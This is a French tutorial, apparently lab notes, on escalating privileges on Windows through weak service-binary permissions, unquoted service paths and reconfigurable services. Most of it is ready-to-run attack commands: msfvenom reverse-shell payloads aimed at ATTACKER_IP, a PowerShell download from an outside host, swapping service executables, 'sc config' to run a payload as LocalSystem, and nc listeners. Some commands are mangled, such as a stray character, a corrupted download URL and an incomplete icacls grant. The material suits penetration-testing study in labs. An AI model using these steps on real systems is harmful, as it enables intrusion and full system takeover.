🎨Services

Trois principales vecteurs d'exploitation des services Windows sont souvent explorées :

  1. Autorisations de Service Non Sécurisées : Certains services accordent des autorisations excessives à des groupes d'utilisateurs spécifiques, tels que le groupe BUILTIN\\Users. L'exploitation de ces autorisations permet à un attaquant de reconfigurer un service pour exécuter un code malveillant avec des privilèges élevés.

  2. Chemins de Service Non Cités : Lorsque le chemin de l'exécutable associé à un service n'est pas correctement cité pour tenir compte des espaces dans la commande, cela peut conduire à une interprétation ambiguë par le Gestionnaire de contrôle des services (SCM). L'attaquant peut exploiter cela en créant un exécutable malveillant avant celui attendu par le service, forçant ainsi l'exécution d'un code arbitraire.

  3. Permissions Non Sécurisées sur l'Exécutable du Service : Si l'exécutable associé à un service dispose de faibles autorisations, un attaquant peut le remplacer ou le modifier, entraînant l'exécution de code malveillant avec les privilèges du compte utilisateur configuré pour le service.

🔒 Insecure Permissions on Service Executable

Introduction

Les services Windows, gérés par le Gestionnaire de contrôle des services (SCM), sont essentiels au fonctionnement du système. Ce tutoriel explore comment les services sont configurés, comment vérifier les autorisations sur les exécutables associés, et comment exploiter une vulnérabilité potentielle pour obtenir des privilèges élevés.

📁 Configuration des Services

1. Vérification de la Configuration d'un Service

Utilisons la commande sc qc pour inspecter la configuration du service apphostsvc.

sc qc apphostsvc

La sortie nous donne des informations telles que le type de démarrage, le chemin de l'exécutable, et le compte utilisateur associé.

2. Exploration du Registre

Les configurations des services sont stockées dans le registre. Explorez la clé de registre associée aux services sous HKLM\\SYSTEM\\CurrentControlSet\\Services\\.

📡 Autorisations non sécurisées sur l'exécutable du service

3. Analyse des Autorisations

Utilisez la commande icacls pour vérifier les autorisations sur l'exécutable du service. Dans notre exemple, regardons le service WindowsScheduler.

icacls C:\\PROGRA~2\\SYSTEM~1\\WService.exe

Les autorisations accordées à "Tout le monde" sur l'exécutable peuvent être une vulnérabilité.

Everyone:(I)(M)

4. Exploitation de la Vulnérabilité

Générez une charge utile de service exe avec msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

Servez la charge utile avec un serveur Web Python.

python3 -m http.server

Téléchargez la charge utile sur la machine cible.

powershell "(New-Object System.Net.WebClient).Downloadfile('<http://10.10.43.92:8000/rev-svc.exe','rev-svc.exe>')"

Remplacez l'exécutable du service avec votre charge utile et accordez toutes les autorisations à "Tout le monde".


cd C:\\PROGRA~2\\SYSTEM~1\\
move WService.exe WService.exe.bkp
move C:\\Users\\thm-unpriv\\rev-svc.exe WService.exe
icacls WService.exe /grant Everyone:F

5. Obtention d'un Shell Inversé

Démarrez un écouteur inversé sur votre machine attaquante.

nc -lvp 4445

Redémarrez le service sur la machine cible pour déclencher l'exécution de votre charge utile.

sc stop windowsscheduler
sc start windowsscheduler

Vous recevrez un shell inversé avec les privilèges du compte utilisateur associé au service (svcusr1 dans notre exemple).

💻 Chemins de Service Non Cités

Introduction

Dans certaines situations, lorsqu'on ne peut pas écrire directement dans les exécutables du service, il est possible de forcer un service Windows à exécuter des exécutables arbitraires en exploitant une caractéristique particulière des chemins de service non cités. Ce tutoriel explore cette méthode en détail.

📋 Comprendre les Chemins de Service Non Cités

Service Control Manager (SCM) : Sur les systèmes Windows, les services sont gérés par le Service Control Manager (SCM). Le SCM est responsable de la gestion de l'état des services, de la vérification de leur état actuel et de la fourniture d'un moyen de configurer les services.

Lorsqu'un service est configuré avec un chemin d'exécutable "non cité", cela signifie que le chemin n'est pas correctement encadré de guillemets pour gérer les espaces dans la commande. Ceci peut conduire à une interprétation ambiguë de la commande, ce qui peut être exploité.

Exploitation : Un attaquant peut exploiter cette vulnérabilité en créant un fichier exécutable avec le même nom qu'un des composants du chemin de service recherché. Si l'attaquant place son exécutable dans un répertoire accessible en écriture, le SCM pourrait exécuter l'exécutable malveillant à la place de celui attendu par le service.

Exemple de Service avec Citation Appropriée

sc qc "vncserver"

La sortie montre un chemin correctement cité.

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: vncserver
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        **BINARY_PATH_NAME   : "C:\\Program Files\\RealVNC\\VNC Server\\vncserver.exe"** 
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VNC Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Exemple de Service sans Citation Appropriée

sc qc "disk sorter enterprise"

La sortie montre un chemin non cité.

plaintextCopy code
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        **BINARY_PATH_NAME   : C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe**
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Disk Sorter Enterprise
        DEPENDENCIES       :
        SERVICE_START_NAME : .\\svcusr2

Lorsque le SCM (Service Control Manager) tente d'exécuter le binaire associé, il peut y avoir des ambiguïtés en raison des espaces dans le chemin.

🔄 Exploitation de Chemins de Service Non Cités

1. Analyse des Possibilités

L'analyse de la commande non citée peut conduire à différentes interprétations, et le SCM recherche les exécutables dans un ordre spécifique.

2. Exemple d'Interprétations Possibles

  • C:\\MesProgrammes\\Disk.exe Trieur Enterprise\\bin\\disksrs.exe

  • C:\\MesProgrammes\\Disk Sorter.exe Entreprise\\bin\\disksrs.exe

  • C:\\MesProgrammes\\Disk Sorter Enterprise\\bin\\disksrs.exe

Le SCM tente d'exécuter chaque option dans l'ordre jusqu'à ce qu'il trouve un exécutable existant.

3. Vulnérabilité Potentielle

Si un attaquant crée l'un des exécutables recherchés avant l'exécutable attendu du service, il peut forcer le service à exécuter un exécutable arbitraire.

4. Exploitation de la Vulnérabilité

  1. Création de la Charge Utile

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe
  2. Servez la Charge Utile

    python3 -m http.server
  3. Téléchargez la Charge Utile sur la Cible

    powershell "(New-Object System.Net.WebClient).Downloadfile('[<http://10.10.43.92:8000/rev-svc2.exe','rev-svc2.exe>](<http://10.10.43.92:8000/rev-svc.exe','rev-svc.exe>)')"
  4. Déplacement de la Charge Utile sur un Emplacement Vulnérable

    move C:\\Users\\thm-unpriv\\rev-svc2.exe C:\\MyPrograms\\Disk.exe
  5. Accorder des Autorisations à "Tout le Monde"

    icacls C:\\MyPrograms\\Disk.exe /grant Everyone:
  6. Redémarrage du Service pour Exécutionsc stop "disk sorter enterprise" sc start "disk sorter enterprise"

    sc stop "disk sorter enterprise"
    sc start "disk sorter enterprise"

En conséquence, vous obtiendrez un shell inversé avec les privilèges du compte associé au service (dans l'exemple, svcusr2).

nc -lvp 4446

📚 Conclusion

L'exploitation des chemins de service non cités peut être une méthode efficace pour forcer l'exécution d'exécutables arbitraires par un service Windows. Il est essentiel de comprendre cette vulnérabilité potentielle et de prendre des mesures pour sécuriser les services en limitant l'accès aux emplacements vulnérables.

🌐 Exploitation des Autorisations de Service Non Sécurisées

Introduction

Ce tutoriel explique comment exploiter les autorisations de service non sécurisées pour obtenir des privilèges élevés sur un système Windows. L'objectif est de reconfigurer un service en modifiant son exécutable et le compte associé pour exécuter un shell inversé avec les privilèges SYSTEM.

1️⃣ Vérification des Autorisations de Service

Utilisez l'outil AccessChk de la suite Sysinternals pour vérifier les autorisations de service à partir de la ligne de commande. Assurez-vous que cet outil est disponible à l'emplacement C:\\tools.

C:\\tools\\AccessChk> accesschk64.exe -qlc service

Vous devriez obtenir une sortie montrant les autorisations accordées au service. Vérifiez spécifiquement si le groupe BUILTIN\\Users dispose de l'autorisation SERVICE_ALL_ACCESS.

2️⃣ Création du Shell Inversé

Générez un nouvel exécutable de shell inversé à l'aide de msfvenom et démarrez un écouteur sur votre machine attaquante.

umsfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe

3️⃣ Transfert de l'Exécutable sur la Machine Cible

Transférez le nouvel exécutable de shell inversé sur la machine cible, par exemple, dans C:\\Users\\thm-unpriv\\rev-svc3.exe. Utilisez icacls pour accorder à tout le monde les autorisations nécessaires pour exécuter le fichier.

icacls C:\\Users\\thm-unpriv\\rev-svc3.exe /grant Everyone:F

4️⃣ Reconfiguration du Service

Utilisez la commande sc pour reconfigurer le service en modifiant le chemin de l'exécutable et le compte associé. Choisissez le compte LocalSystem pour obtenir des privilèges élevés.

sc config Service binPath= "C:\\Users\\thm-unpriv\\rev-svc3.exe" obj= LocalSystem

5️⃣ Redémarrage du Service

Redémarrez le service pour appliquer les modifications.

sc stop THMService
sc start THMService

6️⃣ Réception du Shell Inversé

Vous devriez maintenant recevoir un shell inversé sur votre machine attaquante avec les privilèges SYSTEM.

nc -lvp 4447

Last updated